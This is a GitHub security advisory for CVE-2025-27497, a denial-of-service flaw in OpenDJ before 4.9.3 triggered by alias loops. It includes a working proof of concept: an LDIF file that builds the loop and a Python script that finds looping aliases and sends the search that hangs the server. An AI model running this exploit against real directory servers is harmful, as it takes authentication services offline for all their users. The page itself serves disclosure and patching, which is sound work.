Skip to content

OpenDJ Denial of Service (DoS) using alias loop

High severity GitHub Reviewed Published Mar 5, 2025 in OpenIdentityPlatform/OpenDJ

Package

maven org.openidentityplatform.opendj:opendj-server-legacy (Maven)

Affected versions

< 4.9.3

Patched versions

4.9.3

Description

Summary

A denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests.
I have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.

Details

An unauthenticated attacker can exploit this vulnerability using a single crafted ldapsearch request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.

PoC (Steps to Reproduce)

  1. Set up an OpenDJ server instance as usual, using the base DN dc=example,dc=com
  2. Import the attached example_data_alias_dos.ldif file into the LDAP database
  3. Ensure that the ldap3 Python library is installed (pip install ldap3)
  4. Run the attached Python script python opendj_alias_dos.py, which searches for alias loops and executes the DoS attack
  5. After executing the script, the server will stop responding to requests until it is restarted

Impact

This vulnerability directly affects server availability for everyone using it. A single ldapsearch request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests:

result: 80 Other (e.g., implementation specific) error
text: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVA_ERROR: Java Error occurred, recovery may not be possible.

example_data_alias_dos.ldif

dn: dc=example,dc=com
objectClass: top
objectClass: domain
dc: example

dn: ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: people
description: All users

dn: ou=students,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: students
description: All students

dn: uid=jd123,ou=students,ou=people,dc=example,dc=com
objectClass: top
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
mail: [email protected]
sn: Doe
cn: John Doe
givenName: John
uid: jd123

dn: ou=employees,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: employees
description: All employees

dn: uid=jd123,ou=employees,ou=people,dc=example,dc=com
objectClass: alias
objectClass: top
objectClass: extensibleObject
aliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com
uid: jd123

dn: ou=researchers,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: researchers
description: All reasearchers

dn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com
objectClass: alias
objectClass: top
objectClass: extensibleObject
aliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com
uid: jd123

opendj_alias_dos.py

import argparse

from ldap3 import Server, Connection, ALL, DEREF_NEVER, DEREF_ALWAYS
from ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError


def connect_to_ldap(ip, port):
    try:
        server = Server(ip, port, get_info=ALL)
        connection = Connection(server, auto_bind=True)
        return connection
    except (LDAPBindError, LDAPSocketOpenError) as e:
        print(f"Error connecting to LDAP server: {e}")
        return None


def find_aliases(connection, base_dn):
    try:
        search_filter = "(objectClass=alias)"
        connection.search(base_dn, search_filter=search_filter, dereference_aliases=DEREF_NEVER, attributes=["*"])
    except Exception as e:
        print(f"Error during search: {e}")

    aliases = {}
    for entry in connection.entries:
        entry_dn = entry.entry_dn
        entry_alias = entry.aliasedObjectName.value
        aliases[entry_dn] = entry_alias

    return aliases


def detect_alias_loop(aliases):
    visited = set()
    path = set()

    def dfs(alias):
        if alias in path:
            return alias
        if alias in visited:
            return None

        path.add(alias)
        visited.add(alias)

        aliased_target = aliases.get(alias)
        if aliased_target:
            result = dfs(aliased_target)
            if result:
                return result

        path.remove(alias)
        return None

    for alias in aliases:
        if alias not in visited:
            loop_alias = dfs(alias)
            if loop_alias:
                return loop_alias

    return None


def execute_dos_search(connection, looping_alias_dn):
    try:
        search_filter = "(objectClass=*)"
        connection.search(looping_alias_dn, search_filter=search_filter, dereference_aliases=DEREF_ALWAYS)
    except Exception as e:
        print(f"Error during search: {e}")

    for entry in connection.entries:
        entry_dn = entry.entry_dn
        print(entry_dn)


def main():
    parser = argparse.ArgumentParser(description="Search LDAP for circular alias references.")
    parser.add_argument("ip", type=str, nargs="?", default=None, help="The IP address of the LDAP server.")
    parser.add_argument("port", type=int, nargs="?", default=None, help="The port of the LDAP server.")
    parser.add_argument("base", type=str, nargs="?", default=None, help="The base DN of the LDAP server.")
    args = parser.parse_args()

    if not args.ip:
        args.ip = input("Please enter the IP address of the LDAP server: ")

    if not args.port:
        while True:
            try:
                port_input = input("Please enter the port of the LDAP server: ")
                args.port = int(port_input)
                break
            except ValueError:
                print("Invalid input. Please enter a valid integer for the port.")

    if not args.base:
        args.base = input("Please enter the base DN of the LDAP server: ")

    connection = connect_to_ldap(args.ip, args.port)
    if connection:
        aliases = find_aliases(connection, args.base)
        looping_alias_dn = detect_alias_loop(aliases)
        if looping_alias_dn:
            execute_dos_search(connection, looping_alias_dn)
            print(f"DOS executed with alias: {looping_alias_dn}")
        else:
            print("No looping alias DN found!")
        connection.unbind()


if __name__ == "__main__":
    main()

References

@vharseko vharseko published to OpenIdentityPlatform/OpenDJ Mar 5, 2025
Published by the National Vulnerability Database Mar 5, 2025
Published to the GitHub Advisory Database Mar 5, 2025
Reviewed Mar 5, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Weaknesses

CVE ID

CVE-2025-27497

GHSA ID

GHSA-93qr-h8pr-4593

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.